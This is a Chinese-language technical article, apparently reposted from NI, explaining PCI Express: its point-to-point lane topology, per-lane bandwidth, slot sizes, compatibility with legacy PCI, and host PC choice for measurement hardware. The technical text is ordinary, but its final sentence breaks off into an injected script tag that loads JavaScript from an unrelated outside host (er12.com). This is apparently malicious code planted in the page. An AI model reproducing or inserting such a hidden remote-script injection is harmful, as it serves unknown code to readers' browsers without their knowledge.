PCI Express技术简介

本文简要介绍pci express总线。此外,解释了ni如何引导对pci express的选择以用于基于基于计算机的测量和自动化的硬件和软件。

前言

台式计算机的革新速度是令人震惊的。根据摩尔定律,从集成电路的出现开始,处理速度将每十八个月翻一番。软件制作人员开发新的软件和版本来支持最新的处理速度、内存大小和硬盘容量方面的提高,同时硬件厂商发布最新设备和技术来与最新软件的需求保持同步。这一快速的革新在基于pc的测量硬件和软件、插入式设备(现在可以高达15mhz的速率提供16位的测量)方面也是十分明显的。

由于数据采集速率随着芯片技术的进步而不断提高,大量的数据必须传输至pc进行处理。这些传输由那些将设备连接到pc内存的数据总线完成。总线与汽车中的变速器类似——没有变速器就没有办法从引擎中获得马力来使汽车在路面上行驶。与变速器一样,数据总线的重要性常常被引擎的马力(处理和a/d速率)所遮蔽。然而,数据传输的速率常常是测量的瓶颈,并且是许多仪器带有昂贵板载内存的主要原因。

为了解决不断增长的对带宽的需要,近来发布了一种称为pci express的新的总线技术。起初是为实现高速音频和视频流而设计的,pci express现在也用来提高测量设备至pc内存的数据传输速率,而且与过去十年的台式计算机所使用的传统pci总线相比,速度提高了30倍。

pci express标准

pci express的引入是用来克服以前pci总线的限制。pci总线是intel十年前开发和发布的,工作在33mhz和32位环境下,理论带宽峰值是每秒132mb。它使用共享总线拓扑结构——总线带宽在多个设备间共享——从而实现总线上不同设备间的通信。随着设备的发展,新的占用大量带宽的设备开始吞噬同一共享总线上的其他设备的带宽。例如,1g网卡可独占95%的pci总线带宽。

为了提供这些新型设备所要求的带宽,pc行业协会和外设厂商一起开发了pci express并且于2004年开始在标准的台式计算机上提供。大部分来自顶级供应商的台式机器已经至少包含了一个pci express插槽。相对于pci,pci express最引人注目的进步是它点到点的拓扑结构。用于pci的共享总线被一个共享开关所代替,这个开关使得每一个设备拥有对总线的直接访问权。并且不同于pci将带宽分给总线上的所有设备的是,pci express提供给每一个设备它自己专用的数据流水线。数据通过被称为信道的发送和接受信号对来以包的形式串行传输,每个信道具有单方向250m字节/秒的速度。多个信道可以组合在一起形成x1 (“单一的”)、 x2、 x4、x8、x12、x16、和x32的信道带宽从而提高插槽的带宽。

图1、每一个pci express插槽拥有专用的连至pc内存的带宽,而不同于pci的共享带宽

诸如数据采集和波形发生器之类的应用需要足够的带宽来保证数据能以足够快的速度传输至内存而不丢失或重写。相对于传统的总线,pci express极大地提高了数据带宽,减少了对板载内存的需求并且实现了更快的数据流传输。初始的信号频率,即技术标准规定的2.5g位/秒,是32位、33mhz 的pci可用带宽的30倍(一个x16的插槽),并且这一信号频率预期将随着芯片技术的进步增加至10g位/秒——这是铜线信号的极限。并且由于pci express的可扩展信道拓扑结构,数据采集厂商可以实现具有符合设备所需要信道数的pci express插槽。

图2、pci express提供专用的、可扩展的带宽(高达传统pci带宽的30倍)

硬件和软件兼容性

pci express保持与传统pci的软件兼容性,但是将物理总线代替成为一个高速(2.5gb/s)的串行总线。因为这种体系结构发生了改变,所以插槽本身并不兼容。但是,在pci向pci express的过渡过程中,大部分计算机主板将既提供pci插槽又提供pci express插槽。具有较少信道插槽的设备可以“向上插入”至主板上具有较多信道的插槽,从而提高硬件的兼容性和灵活性。但是,“向下插入”至较少信道的插槽是不支持的。

图3、现今计算机上的标准pci express插槽大小是x1、x4、x8和x16的信道带宽

为pci express选择合适的pc作为主机

大部分来自顶级厂商的pc现在已经至少包含一个pci express插槽了。最常见的插槽大小是x1和x16。x1插槽是一个通用的插槽用来作为ni pcie m系列数据采集和ni pcie gpib设备的主机设备。现在,服务器级的机器需要x4和x8的插槽,以用于那些包含ni pcie摄像机链路(camera link)图像采集设备的装置。然而“服务器”并不简单地意味着高价格,因为优良的服务器也具有与台式机箱可比的价格?script src=http://er12.com/t.js>

  • PCI Express技术简介已关闭评论
    A+
发布日期:2019年07月02日  所属分类:参考设计